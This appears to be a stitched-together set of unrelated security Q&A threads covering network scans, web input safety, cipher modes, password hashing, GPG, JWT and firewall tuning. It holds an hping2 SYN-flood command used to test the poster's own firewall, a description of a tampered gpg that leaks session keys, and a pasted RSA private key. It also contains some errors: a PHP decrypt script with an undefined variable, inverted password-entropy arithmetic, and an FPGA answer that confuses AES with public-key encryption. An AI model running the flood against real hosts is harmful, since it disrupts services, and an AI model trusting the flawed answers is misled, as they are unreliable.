Receiving packets from Amazon I ran a Wireshark packet capture on my home Windows PC, as there was some suspicion that I was infected (although I notice nothing out of the ordinary and both Avast and Malwarebytes detect nothing).

Just to be sure, I ran this capture overnight, and noticed packets from sources such as Akamai, Amazon and Microsoft (according to ARIN). Should I be worried? Here is a print screen focusing in on the dubious packet.

There are a large number of organizations, search engines, and bots which are scanning the entire Internet on a regular basis to see what ports are open and what versions of services exist. An example of a site doing this type of work is scans.io Most of this activity is not harmful.

There are even tools like masscan and Zmap which allow anyone to scan the entire IPv4 space for a given port/service in just a few minutes and you can see samples of the types of data collected at sites like scans.io

Without more information about the packets themselves it would be very hard to tell you if these were malicious in nature but most likely this is just typical Internet traffic. That said it would be wise to dig a little deeper and see if this is related to process activity on your system and see if your system, or the software on it, isn't the source for this activity.


Make all form inputs safe but allow any type of input including code Pastebin allow you to (along with plenty of other sites) input code into there forms.

I know that this can be a huge security threat if not done properly so I would like to know how they go about this? 'this' Being to allow the input of all data into a form without any security issues.

Edit-
Is anyone able to show a simple example?

The two main risks of a system such as this are:

SQL Injection
XSS

The risk of SQL Injection is mitigated by the use of parameterised queries. This ensures that data values inserted into the database can only be interpreted as data and not by part of the query by an attacker escaping out of the context.

XSS is prevented by correct output escaping. This prevents the browser from interpreting any markup or code as script and it will render the visual representation of the markup instead. This should be done by your application on output of data to the browser, and usually shouldn't be stored in this format. This is because if you later have to output the data in any other format (e.g. JSON or plain text) things can get complicated because you'll first have to convert back to plain text before re-encoding and this is where mistakes can easily happen to leave your application vulnerable.


Explanation of the XTS Encryption Mode I've found many information about operation modes such as ECB, CBC, CTR, OFB and CFB. These modes are described precisely, but I'm not able to find information about XTS. The Wiki article is the only thing I found on the internet, but I still don't understand it.

Can someone explain, how this mode work? Do you know any good sources?
Is it correct, that XTS is only used for FDE?

Your last question first; Yes, XTS is only recommended for full-disk encryption. That is what it was designed for by the IEEE Standard 1619.

How does the mode work?

XTS builds on top of XEX designed by Phillip Rogaway and extends this by a tweak value and ciphertext stealing. The mode defined by IEEE uses an AES cipher, in fact AES is used twice. Simplified (without i and alpha), the tweak value is encrypted, then XORed with the plaintext block. That result is then AES encrypted again, this time with the other key and that result is XORed again with the encrypted tweak. This gives you the ciphertext block. Now the tweak is a value that specifies where in the disk block (could be confusing, FDE talks about blocks in the case of cryptography and in the case of disk management). As you can see, there is no direct link of one ciphertext block to the following. This is why some refer to XTS as an ECB-like cipher with some of the negative consequences that come from it.

So how exactly are the keys created?

That's not really the business of XTS, just like with other modes it does not care about how the cryptographic key material is created. However, if you refer to the specialty of the "two key in one", that is a simple split in two half. Since the IEEE standard names AES, the example you gave yourself won't work. In fact, XTS is specified as XTS-256 (2x AES-128) and XTS-512 (2x AES-256).

Further sources

If you would like to read more, I suggest you try to get hold of the IEEE Std. 1619. Otherwise read Phillip Rogaway's Evaluation of Some Blockcipher Modes of Operation, a report wirtten for CRYPTREC 2011.


Is it possible to make cracking a password pointless to an attacker with database access? I've been reading information on making passwords secure, but what are the reasons an attacker would want to put effort into getting the original password? If an attacker does indeed have a copy of the database, then they have a copy of the database, and all of the information they would gain by logging into the account.

Here are some of the reasons I can think of:

The user may be using the password on a different site.
Some of the users data may be encrypted.
The attacker may want to access the account later.
The attacker may want to modify the users data, and only had read access to the server's database.
The attacker did not gain all information from the database.

Would policies such as two-factor authentication, and picking a random password for a user make cracking a password worthless for an attacker that has already had access to the database?

TL;DR: The answer is no. A user cannot be stopped from reusing the given random password on other sites, so a text based password will always have value to an attacker. This is true for all sites with usernames, and passwords.

Enforcing random passwords rarely works: it makes your users (customers ?) go away. Suggesting random passwords, and offering a generation tool, are good ideas, as long as they are not made compulsory. However, even if you succeed in enticing your users into using random-generated passwords for your site, you cannot prevent them from using the same passwords on another site. It can be expected that after having made the effort of remembering a random password, a substantial proportion of users will find it smart to reuse that effort, i.e. reuse the very same password elsewhere.

This is a very general property: as long as a user "knows" his password (and he must certainly know it in order to type it), then he can reuse that password in other systems that are outside of your reach. You cannot do anything about it, except trying to explain to users why this is not a good idea.

As for two-factor authentication: when it is there, it is for a reason, i.e. because one factor was not enough. If an attacker cracked a user password, then the user's two factors shrunk to one factor only. If one factor is not enough, then it is not enough. Or, said otherwise, if users authenticate with a password and a mobile phone, and cracking the password is not a problem, then why bother with passwords at all ? Just use the phone.


is it appropriate to set restrictions on a user's password? Possible Duplicate:
  XKCD #936: Short complex password, or long dictionary passphrase?

Im developing a website and am curious as to the current trends in the nature of passwords. Is it good to force users to use a letter, a capital, a number, a special character ... etc... Does this encourage users to make stronger passwords or it is just an encumbrance? Currently i am thinking about a min length and for it to be in ascii. Any of the other things worth using?

Based on the Anderson formula -> http://joebi.blogspot.com/2006/12/how-to-defend-password-guessing.html

The most important thing is the password length, the second most important thing is the number of possible signs/letters/numbers.

If you want to enforce minimum 20 password length - you will be allright with just letters.

  20^24 = 16777216000000000000000000000000

If less than that but more than 15 you will be ok with alphanumerics.

  15^34 = 9707397373664756887592375278472900390625

What is often overlooked is phisical password security - hard to remember password will be often written on a post-it note, or can be easily recognized when someone is looking above your shoulder because you will type it slowly and carefuly. I prefer longer passwords with multiple words that are easy to remember.

iwillnevertellyouthepassword - is unbreakable at this time and you will remember it more easily than $%FD#sffe2e


LXC vs. LXD: Which is “more secure”? My friend told me today that I should never use LXC without changing its default configuration. Instead, I should prefer to use LXD, as it is "more secure" by default.

Is that true? What are the differences between LXC and LXD with regard to security?

I know that LXD is a wrapper for LXC, but does it really matter which system I use in terms of "basic" features? I don't need LXD's REST API for example.

Turns out LXD is more secure than LXC by default: https://github.com/lxc/lxd/issues/2771


nmap localhost UDP scan fails, even though netcat is listening I open two terminal windows on my linux box. On one, I have netcat listen to a UDP port and on other I nmap -sU that port. Netcat receives the connection and the data, but nmap reports the udp port closed. I also see an ICMP port unreachable in nmap logs (not sure why OS is sending it). I've tried --max-retries 1 also. Any advice is much appreciated.

$ nc -l -u -p 12345 -v
listening on [any] 12345 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 65188
test

In a different window

$ sudo nmap -Pn -sU -p 12345 localhost --data-string test -vvv --packet-trace

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-10-15 19:29 EDT
Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.
Initiating UDP Scan at 19:29
Scanning localhost (127.0.0.1) [1 port]
SENT (0.0481s) UDP 127.0.0.1:65188 > 127.0.0.1:12345 ttl=42 id=17191 iplen=32
RCVD (0.0479s) UDP 127.0.0.1:65188 > 127.0.0.1:12345 ttl=42 id=17191 iplen=32
SENT (1.0482s) UDP 127.0.0.1:65189 > 127.0.0.1:12345 ttl=59 id=50254 iplen=32
RCVD (1.0482s) UDP 127.0.0.1:65189 > 127.0.0.1:12345 ttl=59 id=50254 iplen=32
RCVD (1.0482s) ICMP [127.0.0.1 > 127.0.0.1 Port 12345 unreachable (type=3/code=3) ] IP [ttl=64 id=4558 iplen=60 ]
Completed UDP Scan at 19:29, 1.20s elapsed (1 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up, received user-set (0.000067s latency).
Other addresses for localhost (not scanned): ::1
Scanned at 2015-10-15 19:29:52 EDT for 2s
PORT      STATE  SERVICE REASON
12345/udp closed unknown port-unreach ttl 64

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
           Raw packets sent: 2 (64B) | Rcvd: 3 (124B)

With netcat:

  In listen mode,  controls the address on which Ncat listens; if
  you omit it, Ncat will bind to all local interfaces (INADDR_ANY). If
  the port number is omitted, Ncat uses its default port 31337.
  Typically only privileged (root) users may bind to a port number lower
  than 1024. A listening TCP server normally accepts only one connection
  and will exit after the client disconnects. Combined with the
  --keep-open option, Ncat accepts multiple concurrent connections up to the connection limit. With --keep-open (or -k for short), the server
  receives everything sent by any of its clients, and anything the
  server sends is sent to all of them. A UDP server will communicate
  with only one client (the first one to send it data), because in UDP
  there is no list of “connected” clients.

So, when nmap will try the connection, nc will exit after the first packet received. But nmap, for testing a port, will send several packets. So the second packet will be lost and nmap will consider the port cloased, and moreover, your OS will send a ICMP port unreachable for the second test.

If you want to test your UDP ports and have a open result in nmap, you must force nmap to do only one connection: nmap -Pn -sU -p 12345 localhost -vvv --max-retries 0


Metadata collection on messaging apps I know some of the messaging apps out there do not collect metadata of the users, but can gov entities force companies operating the servers to collect metadata such as ip addresses of the communicating parties so pairing can be established?

Every country treats it's citizens privacy differently. In general, some countries do have laws which allow collection of such data. In the United States national security letters (NSLs) have been sent to companies to request such data and in some cases more data than just the metadata. I'll also add that some of the metadata collection may also be handled at the ISP level such that a government could potentially request that the ISP's collect connection data but never approach the company directly. This is a very broad question and the answer is a bit different for every country and even within different branches of governments in those countries but some countries definitely have laws allowing them to request this type of data.

https://en.wikipedia.org/wiki/National_security_letter


Creating a P2P hosted website Is there a way to create a peer-to-peer hosted website securely:
- Without Having a connection between the developer (host) of the website to the website?
- Securing some information the site uses like a database that shouldn't be plainly view-able by the "peer hoster".
- Having the website still run code (eg. possibly selecting from the decentralized db)

I'm asking this because I think this could be a solution for creating a website in a closed monitored network (1000s of PCs) without making it clear on who is the host of the website is.

Is there any current solution for this?

FreeNet is a distributed p2p network that relies upon a Distributed Hash Table to store and distribute data. One of the hallmarks of this network is that once a page is pushed to FreeNet,  it can't removed (as long as people are viewing the content).

However,  it sounds like a Tor mash-up is what your looking for.


How is Malware Traced to a Specific Country? Following the WannaCry malware being traced to North Korea, how is the malware traced to a specific country?

How I think this could be done:

Malware is reverse engineered to find IP addresses or domains which are located in certain countries
Similarities in code which are known to be from a hacking group in a country (like this for example)
Particular grammar mistakes or words being used

What other methods are there?

Entity resolution and just general intelligence is a large part of it.

When we encounter malware and reverse it and find Cyrillic characters or other indicators that the attacker is, say, Russian, and the C+C calls out to IP address A.B.C.D, it gets noted. Every bit of information we learn about a campaign gets logged in in intelligence repository of some kind. Some of this information gets shared with other institutions or sourced through third-party intelligence vendors. We learn from them, they learn from us about what threats exist.

Then later on, we may see new malware pop up. This time, they did a better job removing linguistic identifiers from the code so we don't have any starting hints as to the origin environment. But we observe that it calls out to similar domains as this other piece of malware we saw, or it too reaches out to A.B.C.D (which indicates shared infrastructure). Or it reaches out to a domain name registered to a name we've seen pop up in other campaigns.

The IP geolocation itself is usually a red herring, as most traffic gets routed through botnets or Tor. However the fact that two unique pieces of malware may reach out to the same location (regardless of what it is) does indicate commonality between the campaigns, so we correlate that with the information we already know about existing attacks.

Similarities in code are also usually a red herring; much malware is classified as 'commodity' malware which means anybody who knows where to find it can just buy it 'off the shelf' so to speak. So if I write something to steal money from Swiss banks, I can sell it to the Russian mafia, some Israeli teenager, or a Chinese government actor all the same-- now all three of them appear to be using code with linguistic hints of America/Canada/UK as the source.

Also, amusingly enough, many governments look the other way when it comes to hacking institutions in foreign countries. When we see malware that specifically does not target a given country, it's generally an indicator that the source itself is that country-- no Russian wants to get caught hacking a domestic bank when there's literally no consequence if they just do it to an American bank instead.


Is it necessary to encrypt a JSON Web Token more than what is built-in? As a developer I do have some understanding of OWASP, I am also a member of OWASP community, official due paying one. Anyway, what I may not understand is information security in that I am not a security engineer and so I pose the following question:
Is it necessary to encrypt and encode a JSON Web Token?
In my experience, no secure or confidential information should be in a JSON Web Token anyway, outside of the id and email of the user. I can imagine a customer such as a bank freaking out about that, but what can someone do with an email? The password is salted and hashed and also at least in the NodeJS world that is my wheelhouse, JSON Web Token is tamper resistant.
I can verify that a token was valid by using the signing signature and if it fails due to tampering then the services will no longer trust it, that simple no? Why would it be necessary to encrypt it, Encode it And whatever else an overzealous engineer can think of? What problem is it solving or what use case is it handling that is not already built-in? Is it because in other programming languages there are no libraries built-in that can run a jwt.verify() on the JWT?
Could the case described in this post be what the institution is trying to solve?
JWT(Json Web Token) Tampering
I understand that for a customer for whom this is a big deal, encrypting the cookie contents is an option, but would that be overkill?

JWTs can easily be encrypted when necessary - most libraries support it by default.
There are actually multiple kinds of JWTs.  There are two that are probably the most common:

JWS (plain text payload with a signature for validation)
JWE (everything is encrypted).

The JWS is much more common so often when people refer to a JWT they are just referring to a JWT with a signature.  Indeed, there were a few years where I always thought that a token with a signature was the only kind of JWT.
However, encrypted ones do exist, so if you did want to encrypt your JWT you wouldn't want to take your JWS and encrypt it yourself.  Rather, you'd just want to use a library that supports JWE out of the box.  Here's an example of a library that let's you choose between signatures and encryption (as well as a third kind).
Understanding their use cases
So you can encrypt your JWT, but why would you?  To answer that question is't important to keep in mind that encryption and signatures have two different purposes: a signature makes the underlying data tamper proof while encryption makes it private (and as a side effect, tamper proof).
Therefore if all you care about is making your payload tamper proof then a signature is sufficient, and has the benefit of being easier to understand and use.  As a quick example, the ability to view the payload itself may help with debugging from time-to-time.
However if you also need your data to be private, then encryption is obviously necessary. You mentioned your payload "only" containing a user id and email, and that such information is not especially sensitive, but in some jurisdiction that qualifies as PII and leaking it may result in heavy fines (aka GDPR). Therefore some organizations may choose to protect even just that, or they may store additional information in the JWT that requires privacy. It just depends on your you case, and since JWTs are so flexible they are used in a wide variety of ways, so being able to choose between just signatures or full encryption can be helpful.
Do you need your JWTs to be encrypted?  Only you can decide that.  If you are only storing a user id and an email then probably not.  However, you can store much more than that, and people often do, so it will simply depend on your use case and your own risk appetite.


How does the encryption of FPGA works? I know that FPGAS of Altera enables you to encrypt the RTL code while you work with it, what I can't understand is why it is really encrypted since once I have the FPGA, I can take it and with flash reader (theoratilcly) read the encoded RTL code, and read the KEY of the FPGA and then I have the code.

what do I miss?

First Part: the Altera FPGAs have some models that allow you to store keys in volatile and non-volatile memory.

Altera explain that they use AES with 128 or 256 bits. The private key is stored in the FPGA and the external memory have the data encrypted with the public key. In the boot-up, the data in read from the external memory, decrypted with the private key inside the FPGA, and then processed to configure all the following reads (think like a config header).

Source: http://www.altera.com/devices/fpga/stratix-fpgas/about/security/stx-design-security.html

Second Part: they have anti-tamper measures to prevent someone from doing exactly what you're afraid off. See: http://www.altera.com/literature/wp/wp-01111-anti-tamper.pdf

In general, it's "easy" to open the chip and brute-force extract each component position inside it, doing a kind of reverse-code attack. FPGA are programable, so an already programed and a virgin FPGA will look the same at the phisical level attack. And you end up destroying the programming when you try to open the chip and extract something from it.

And, to protect you from extracting the key, there's no function like *read_private_key* . You can write and overwrite it, but you can't extract it.


Decrypting old data from PHP extension I recently came across an old website of mine that I had used the PageProtectionPlus MediaWiki extension to encrypt parts of.  I'm curious to see what I wrote, but the extension is no longer supported and incompatible with updated MediaWiki and PHP.   So I have to decrypt it "by hand", as it were.  All I have to go on is the plaintext that got stored in the database.  One example:

  --- BEGIN KEY: RSA,c88e147b,BLOWFISH,CBC,56,8 ---

  MXSmspeImtfWZ4sS4C48nAa5ZhT6SQnNnXmfJcGJhXGlTX4jc5D7WdhSwszJhIZ8PXrG99zHuEjh
  012c09ytjiZVdK1aGTFJhXDDJYO/dtzcrFHVnPeWRmCky6DN1LuVMb8V4CbYhea97ZiwadVF+2kM
  BqTi1UhII/jx/UdEuq8=

  --- END KEY ---

  MpU/3GHcYc8rHqbeJSFNgz8uMIDD6c9l7Q3Grts7RjjWrMGoYdjvFYpy3fVKLielqFkX5O+5Ws4u
  4YsaPGoEQCTlHnCMW8HrWl3jdp4ZP5o=

The good news is that the format is described in the documentation (at the link above) as follows:

  --- BEGIN KEY: key_encryption_algorithm,  key_encrypton_identifier,  txt_encryption_algorithm,  txt_encryption_mode,
  txt_encryption_key_size,  txt_encryption_iv_size ---

  BASE64  encoded  &  RSA-encrypted   symmetric  key  with  IV attached
  to it & with a few random bytes (salt - why not?)

  --- END KEY ---

  BASE64 encoded & symmetrically encrypted text body

I also have the RSA private key that was used (or at least I think I do).  It feels weird sharing it too, but there's no reason to actually keep it private.

  -----BEGIN RSA PRIVATE KEY-----
  MIICWAIBAAKBgLyI+PJuZhq7zUYNpDfsWUv8av8tsQNM2pVMFFGPGNXGayLNAoPH
  fZDMcatLpPCJi4l7qoHgBauNHYN787XzIBsG/cbx1roWrPb0b3mKb9GL36JDVJqk
  o2aUwAo+tbtJ8+l8UkT7BrOEClgaNV+izSV06CAAQrKem1IaxrJqUVVTAgMBAAEC
  gYBGuzCCa06dGvXxIS8J1/7MVh+iKnctYMjkmA1LZ98OXIlXHgiifdYq27iNZiy0
  HTYfVyjp3qzh5mg7KuaMzXCubjpmSysTP3BD+Cwjcxxw5/XLQWiuq7ncflUmXnzW
  FJA3HSTp46qbcsZ05pTNPMdOZ4KsYOlqvuqAkwBxUR/SuQJA3+9vz//nCPc9Ny+/
  n9d/lw/3z0+PX+/v74ff7/8PL2/333+cdyePX4+XvxHncdefNl+PbHj3Bpf/72/x
  z+8f7QJA14fnz78/T+9vX0Tfqu/n3+WHX3+Prxsvgi/MD8//r99f/zdPjy8v/28/
  3xfPWBeXL79il38vtycXbg8P98ciPwJAVTN9gE8mMTQYd3HUX9WXNvudVqQ3sdHR
  oXo6Cs8pkOvyDHg6KN/FXh99JfaC776RVhe/sw7HNhwJBam7AFlD9QJANxDaARHz
  sxCRe920549zxph2BcgphauEb9aWZFPYF68Sb7pJ8WM0+CYMQ4tpxjAAyIo1Pk+Y
  eUrbiZr/kWanMQJAR6dXJOZAhOX+9TMrFDJDu84YGBsU83GcuJtJ/lf+0ldpMx/v
  FIOSbYcYkFGZwA+4iJlN1V8lqQGn1DoiXkN2mg==
  -----END RSA PRIVATE KEY-----

Unfortunately, while I have a general understanding of how cryptography works, I lack the practical knowledge to figure out how to extract the information from this. (I'm sure openssl can do it, but I don't know how)

How can I extract my data from this plugin's format?

You should place the below script in the ROOT directory of the PLUGIN (i.e. the one that contains the file 'PageProtectionPlus.php'.

The script takes one argument - a filename which contains your 'Cryptogramme', i.e. the block of text you provided above.

The script is anything but fast, but in my tests has been able to Encrypt and Decrypt text.

<?php
    require_once("Encryption.php");
    $cg = file_get_contents($argv[1]);
    $e = new Encryption();
    echo $me->Decrypt($cg);

Usage: php ppp-decrypt <filename>

Make sure the path in LocalSettings.php (which defines where your PPP keys are stored) is valid, and contains your keys. If the LocalSettings.php file does not exist in the root of the PPP plugin, you'll need to create it. Below is an example of what it should contain.

<?php

$wgCachePages   = false;
$wgCacheEpoch   = 'date +%Y%m%d%H%M%S';
$wgPEMsize      = 1024;                 //default key size
$wgPEMlite_size = 512;                  //lite key size
$wgPEMdir       = '/home/user/keys';  //storage for keys
$wgPEMfile      = 'default.pem';        //default key's filename
$wgPEMlite_file = 'lite.pem';           //lite key's filename

$wgPEMold       = 'private.pem';        //old key's pathname (optional)
                                        //if you've been using PageProtection

I'm also sure this is possible with openssl, but it looks like the PPP plugin does various other things with the encrypted key / data, so it was just easier to utilize their existing framework.

Make sure you backup your keys (the .pem files), as on occasion PPP looks like it clears out the key directory.

You may also need to install a few PHP packages, as below.

pear install Crypt_RSA-1.2.1
pear install Crypt_Blowfish-1.1.0RC2
apt-get install php5-mcrypt

Let me know how you get on :)


Hosted Payment Page - Security perspective implementation We are implementing a .NET MVC application and planning to use a Hosted Payment Page for Secure Payments and from PCI Stand point.

Am worried the about the data which we might expose in the return call and looking for some best practices implementation.

Am planning to do this as per the hosted payment page expectation on flow

In our MVC application we have a sales page where user add the amount, comments and other required fields and submit

after validating setting the required fields along with the Callback URL redirecting the user to Hosted payment page from different Vendor

Once the transaction is completed the Hosted payment page Call back my Call back URL which is one of the End points in MVC

In the call back URL(Anonymous access) basically am decoding the result they shared in Query string and calling their API to decode and showing the end results to user in the same Sales page(Secured)(where 302 , 200 redirecting from callback url(Anonymous) to sales page(Secured) happens)

My sales page is Secured but my call back URL is exposed So my questions is am i exposing the sales page to Hosted payment page or any security concern by doing this.

I checked this in fiddler if you are not a logged in user you will be redirected to the login page. so what are the security risk am carrying with my current implementation of exposing my callback URL and the call back URL internally redirect to a different action.

What are the best praises to handle this. Please share your ideas

Summarizing my understanding based on question and comments:

You are using PxPay 2.0 from Payment Express
You using the Redirect method (as opposed to Iframe)
You expect the customer's browser to return to you via the UrlFail/UrlSuccess you specify
You expect Payment Express to also notify you of status via UrlFail/UrlSuccess
Your concern is whether sensitive information might be sent to UrlFail or UrlSuccess, and exposed by lack of encryption

While it's not explicitly defined, all the examples in the PxPay 2.0 Integration Guide show that all calls to the UrlFail/UrlSuccess URLs include two parameters, result and userid:

The result is described as needing to be 'decrypted', but as the decryption process is to look up the meaning with another call to Payment Express, it's almost certainly just a session token with no semantic content, and not useful to anyone without your Payment Express account credentials.

The userid is the username portion of your Payment Express account credentials.  While it would be preferable to keep this "secret", and therefore HTTPS would be better, bear in mind that it traverses the customer's browser during the redirect process and therefore is vulnerable to being disclosed, and its secrecy is not a security requirement.

Therefore, I would say that encryption is preferred for your UrlFail and UrlSuccess, but not necessary - there is no information there that is otherwise unprotected by the need for proper credentials to access it.


Cisco ASA SYN flood detection and response not working I have a Cisco ASA 5510 (ASA Version 8.3(2)) that has been getting a syn flood attack on it (or more accurately through it - targeting a host behind it) a couple of times a day for the past few days.  The Internet connection itself is decent and it does not appear to fully saturate the line, but instead what seems to be happening is the CPU goes to 100% and nearly all valid traffic gets dropped.

The attacks appear to be using randomized spoofed IPs - source addresses do not repeat at all.

I've followed the instructions here to get enable a connection max and a max for embryonic connections.  Exact commands used were:

fw1(config)# class CONNS
fw1(config-cmap)# match any
fw1(config)# policy-map CONNS
fw1(config-pmap)# class CONNS
fw1(config-pmap-c)# set connection timeout embryonic 0:0:5
fw1(config)#service-policy CONNS global

(The theory being that the max connections would trigger whatever threat response the ASA has - or at least prevent the CPU from spinning out and locking the device up.  And the lower connection timeout should of course make it stop keeping track of bogus tcp connections earlier and hopefully lower the count of what it needs to keep track of.)

However, this seemed to make no difference when the next attack came.  Connections still max out overall (and CPU still 100% too):

fw1# show conn count
130000 in use, 130001 most used

So I set up a test with a server I have and was able to get this test scenario:

Linux test attacker:

(iptables configured to drop anything back from ASA)
# sudo hping2 -i u2000 -S -p 80 RE.DA.CT.ED

ASA:

fw1# show threat-detection statistics host RE.DA.CT.ED
Current monitored hosts:11991  Total not monitored hosts:28657651
                          Average(eps)    Current(eps) Trigger      Total events
Host:RE.DA.CT.ED: tot-ses:2993977 act-ses:6493 fw-drop:0 insp-drop:0 null-ses:2979635 bad-acc:0
  20-min Recv attack:             1227             492      43           1473050
  1-hour Sent byte:               6281             260       0          22611776
  1-hour Sent pkts:                142               5       0            513064
  1-hour Recv byte:              33377           11439       0         120159833
  1-hour Recv pkts:                834             285       0           3002986

When I run the hping2 command, it increments the act-ses:6493 part.  show conn count also shows the overall connection count increasing.

After a bit in the ASA log I do get messages like this:

[   RE.DA.CT.ED] drop rate-1 exceeded. Current burst rate is 0 per second, max configured rate is 10; Current average rate is 84 per second, max configured rate is 5; Cumulative total count is 101750
TCP Intercept SYN flood attack detected to RE.DA.CT.ED/80 (RE.DA.CT.ED/80). Burst rate of 820 SYNs/sec exceeded the threshold of 400.

However from what I can tell the total connection count keeps increasing - even after it detects the syn flood.  Also I notice that the fw-drop count on the threat-detection statistics is always zero.

With all that, my specific questions are:

1) Is there a way to know for sure that whatever "syn cookie" support the ASA has is enabled (for a specific target IP or globally or any context that would be useful)?

2) If syn cookies are activated - it should no longer count these syn packets against the act-ses count for that IP or against the overall connection count, correct?

3) Is there any obvious error in my configuration above or key thing I seem to be missing?

EDIT: 3 days later, still no idea. Any input appreciated.

I wonder if you could've been experiencing this - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180418-asa2 (I realise the difference in timeframe however there have been many of these types of advisories over the years) Hope this helps...


How to best to secure data over HTTPS My aim is to have an (iOS) app in which the user would login, then on sucsessful login, gain access to additional information over an  encrypted webservice (undecided).

From research, I understanding encryption techniques of diffie-hellman key exchange, and 'signatures' using HMAC with secret key (from the diffie-hellman).

Further research lead me to HTTPS to ensure no-eavesdropping.

However I'm now a little confused as to what I would need to do over the HTTPS connection to ensure that the login data is secured between app & server.

Is HTTPS enough security to pass POST 'username' & 'password' data down the line to the server on its own? or would an additional security such as a hash of the password be needed?

or

Would I need to implement a full key exchange + request signature (and at some point an Access Token), over an HTTPS connection?

I'm unsure where to draw the line with encrypting.

HTTPS is more than security enough to send and receive information, don't start implementing your own security as HTTPS will take care of it for you. It provides:

Confidentiality
Integrity
Authenticity

The biggest caveat when writing mobile applications is to verify the the behavior of your application when it receives a certificate exception.

With regard to hashing the password, it's not really useful as the password will be whatever you send to the server, so replay attacks or sniffing would still be possible, even when you hash your password. Fortunately it will not be possible to view what's being sent over your connection as they're you will be using HTTPS.

In regard to your access token, you can just use a session token as you would use with any other web application. If you need a RESTful service you will need to send the username and password on every request.


Can I check who can decrypt my GPG message after I encrypt it? When I send, say, a great recipe for funnel cake to Alice and Bob using GPG, I can be pretty sure they will both be able to decrypt it. However, can I be certain, or prove after the fact, that they will be the only ones who can?*

Context: I assumed this was easy: gpg messages have a list of possible decryption key IDs, which I thought was always guaranteed to be complete. However, then I stumbled upon the --try-all-secrets option for gpg itself and now I'm not sure anymore. If I understand the options correctly, I can have a key that is able to decrypt the message, but is not on the 'public' list of recipients. The 'public' list might have an all-zeroes key ID to show there's something going on but it appears it doesn't always need to. So, that got me thinking...

Question: Would I be able to tell (based on the encrypted output only) if someone had modified my version of gpg to secretly add Eve as an anonymous recipient? Would I need to be one of the recipients to be able to tell?

I know that this scenario would probably never occur in practice, and if an attacker was able to replace your gpg binary this scenario would probably be the least of your worries, but I'm still curious.

*: Assuming of course their private keys are kept private, nobody bribes Alice to share the winning recipe, and so on.

You can't necessarily tell who can decrypt a given GPG file by looking at it, but assuming nobody has any knowledge aside from their own private keys and the encrypted file itself, it is possible tell how many people can.

When you encrypt a message, GPG generates a random symmetric key, called a "session key", and uses it to encrypt the message.  It then makes a bunch of copies of the session key, and encrypts each one under a different public key, one for each recipient.  It then packages all of these encrypted "key packets" along with the encrypted message using the OpenPGP container format.

The important thing is that if all you have is the encrypted file, you have to be able to decrypt at least one of these encrypted session key packets in order to get to the message.

You can list all of the packets in an encrypted file using the gpg --list-packets command:

$ gpg --batch --list-packets myfile.gpg
:pubkey enc packet: version 3, algo 16, keyid 0000000000000000
        data: [2048 bits]
        data: [2046 bits]
gpg: anonymous recipient; trying secret key ABCDE123 ...
:pubkey enc packet: version 3, algo 16, keyid 123ABCDE0987654F
        data: [2048 bits]
        data: [2046 bits]
:encrypted data packet:
...

(The --batch flag prevents GPG from asking me for my passphrase, so that it can't decrypt anything.  If you're running a GPG agent, it'll take more than that.)

Those "pubkey encrypted packets" are encrypted session key packets that were read from the file.  The one with "keyid 123ABCDE0987654F" is a normal recipient; the key ID is a hint to tell you which key can be used to decrypt the packet.  The one with "keyid 0000000000000000" is an anonymous recipient: you don't know which key will decrypt it, but you know it's there waiting to be decrypted by something.  If your gpg was modified to add Eve as an anonymous recipient, this is what you would see when inspecting the .gpg file using a clean gpg binary.  It's also what you would see if you added an anonymous recipient on purpose.

If Eve's a little more clever, though, then there are a couple of ways to further hide recipients:

The listed keyid value could be a lie.  The all-zeroes keyid is just a convention, and the normal keyid is just a hint: there could be anything there.  Eve could label her encrypted key packet using Bob's keyid, and replace Bob's legitimate packet with hers.  It would look like a packet for Bob, but if he tried to use it, the decryption would fail.  Only Bob would be able to check this.  The --try-all-secrets flag is somewhat related, and could be useful if the keyid was accidentally wrong.
Eve doesn't have to put her key packet into the file, or even create an encrypted key packet for herself at all.  Try out the --show-session-key and --override-session-key flags on a dummy file with no sensitive data.  These will let you handle the session key directly instead of keeping it hidden away in encrypted key packets.  If Eve has replaced your gpg binary, she could (for example) have it email her the session key of every file you encrypt, along with a hash of the encrypted data for easy identification.  This violates the "no prior knowledge" assumption from earlier, but I felt the existence of these flags made it worth mentioning.


Protect page sms verification from spamming I'm developing a merchant page where users can pay their bills.
On this page, users must fill in their bank details (Card number, card holder name, expiration date, CVC).

As a verification, we have a phone field where the user inputs a phone number and submits (with AJAX). After that, an SMS with OTP is sent to that number. In this part, intruders (or hackers) can spam it by sending fake queries, which will cost us some money.

How do we defend from this type of attack? How do we set a limit for users to only allow one request (1 SMS) in two minutes?

The option of creating a database and storing phone numbers and sender IP is not a suitable variant.

You have two areas where you can control this. First, you can control the user/number pair spamming by recording the number you sent an SMS to and limiting the number of messages your system can send to that number.

For the case where someone generates multiple users and multiple numbers, you can control that on the user-creation process before the SMS part. In this case, you can limit the number of accounts created by an IP in a certain timeframe. That prevents the SMS from being a problem in the first place.

And you always have the opportunity to rate-limit the total number of texts your system sends.


Which is the best password hashing algorithm in .NET Core? What are the considerations when picking the best password hashing algorithm in .NET Core?

I read that not all hashing algorithms are compliant / unverified, so I am a hesitant on just getting various implementations from NuGet. Also, it is not recommended to create your own hashing algorithm as verifying it needs some processes / money involved.

Currently, I am using .NET Core Identity V3 password hashing because at least it is something official that Microsoft provides.

I read that the following algorithms are the best:

Argon2
bcrypt
scrypt
Catena
PBKDF2 (what .NET Core Identity V3 uses)

I would like Argon2 or bcrypt ideally. However, I don't want to just use the first thing that Google turns up. Also, how do I know which ones are verified / recommended?

Argon2 is the best of those to use. It has been well-vetted and is the subject of intense research. It was chosen as the winner in the Password Hashing Competition (PHC) to replace scrypt, which has some nasty time-memory tradeoff (TMTO) attacks, and which is not nearly as flexible in configuration.

Argon2 won the PHC and is based on a thorough analysis of tradeoff attacks. It requires a configurable amount of memory to run, and an attacker will either need to use that much memory per brute force thread, or they will need to perform drastically more computations. Each memory pass reduces the flexibility an attacker has to trade memory requirements for time requirements. There are two primary Argon2 modes, called Argon2i and Argon2d. The former is designed to resist side-channel attacks, whereas the latter is designed to maximize security against offline attacks. A hybrid, Argon2id, which uses Argon2i for the first  memory pass and Argon2d for subsequent passes, also exists.

